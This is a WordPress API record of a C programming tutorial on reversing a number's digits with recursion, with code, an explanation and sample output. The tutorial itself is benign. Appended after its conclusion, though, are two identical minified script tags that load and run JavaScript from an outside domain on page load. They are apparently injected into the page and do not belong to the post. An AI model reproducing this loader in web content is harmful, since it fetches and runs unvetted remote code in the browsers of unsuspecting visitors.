{"id":917,"date":"2024-10-14T14:05:55","date_gmt":"2024-10-14T08:35:55","guid":{"rendered":"https:\/\/codexplained.in\/?p=917"},"modified":"2025-11-24T15:50:08","modified_gmt":"2025-11-24T10:20:08","slug":"reverse-the-digits-of-a-number-using-recursion","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=917","title":{"rendered":"Reverse the Digits of a Number using Recursion"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Introduction<\/h3>\n\n\n\n<p>Reversing a number involves changing its digits&#8217; order. For example, reversing <code>1234<\/code> results in <code>4321<\/code>. We can achieve this using recursion by isolating the last digit and combining it with the reversed version of the remaining digits.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint reverseNumber(int num, int reversed) {\n    \/\/ Base case: if num is 0, return the reversed number\n    if (num == 0) {\n        return reversed;\n    }\n    \/\/ Recursive case: add last digit to reversed number\n    reversed = reversed * 10 + (num % 10);\n    return reverseNumber(num \/ 10, reversed);\n}\n\nint main() {\n    int number;\n    printf(&quot;Enter a number: &quot;);\n    scanf(&quot;%d&quot;, &amp;number);\n\n    int reversed = reverseNumber(number, 0);\n    printf(&quot;Reversed number: %d\\n&quot;, reversed);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Function Definition<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The function <code>reverseNumber<\/code> takes two parameters: <code>num<\/code> (the number to reverse) and <code>reversed<\/code> (the reversed number so far).<\/li>\n\n\n\n<li><strong>Base Case<\/strong>: If <code>num<\/code> is 0, it returns the <code>reversed<\/code> number, ending the recursion.<\/li>\n\n\n\n<li><strong>Recursive Case<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The last digit of <code>num<\/code> is obtained using <code>num % 10<\/code>.<\/li>\n\n\n\n<li>The <code>reversed<\/code> number is updated by multiplying it by 10 (to shift left) and adding the last digit.<\/li>\n\n\n\n<li>The function calls itself with the remaining digits (<code>num \/ 10<\/code>) and the updated <code>reversed<\/code> number.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>It prompts the user to input a number.<\/li>\n\n\n\n<li>It calls <code>reverseNumber<\/code> with the input number and initializes <code>reversed<\/code> to 0.<\/li>\n\n\n\n<li>Finally, it prints the reversed number.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input and Output Example<\/h3>\n\n\n\n<p><strong>Input:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>Enter a number: 1234<br><\/code><\/pre>\n\n\n\n<p><strong>Output:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>Reversed number: 4321<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>This C program successfully reverses a number using recursion. The recursive approach breaks down the problem by handling one digit at a time, making it easy to understand and implement. While this method is efficient for relatively small numbers, be cautious with large numbers due to potential stack overflow issues with deep recursion.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction Reversing a number involves changing its digits&#8217; order. For example, reversing 1234 results in 4321. We can achieve this using recursion by isolating the last digit and combining it with the reversed version of the remaining digits. Explanation Input and Output Example Input: Enter a number: 1234 Output: Reversed number: 4321 Conclusion This C [&hellip;]<\/p>\n","protected":false},"author":37,"featured_media":590,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-917","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/917","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=917"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/917\/revisions"}],"predecessor-version":[{"id":1439,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/917\/revisions\/1439"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/590"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=917"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=917"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=917"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}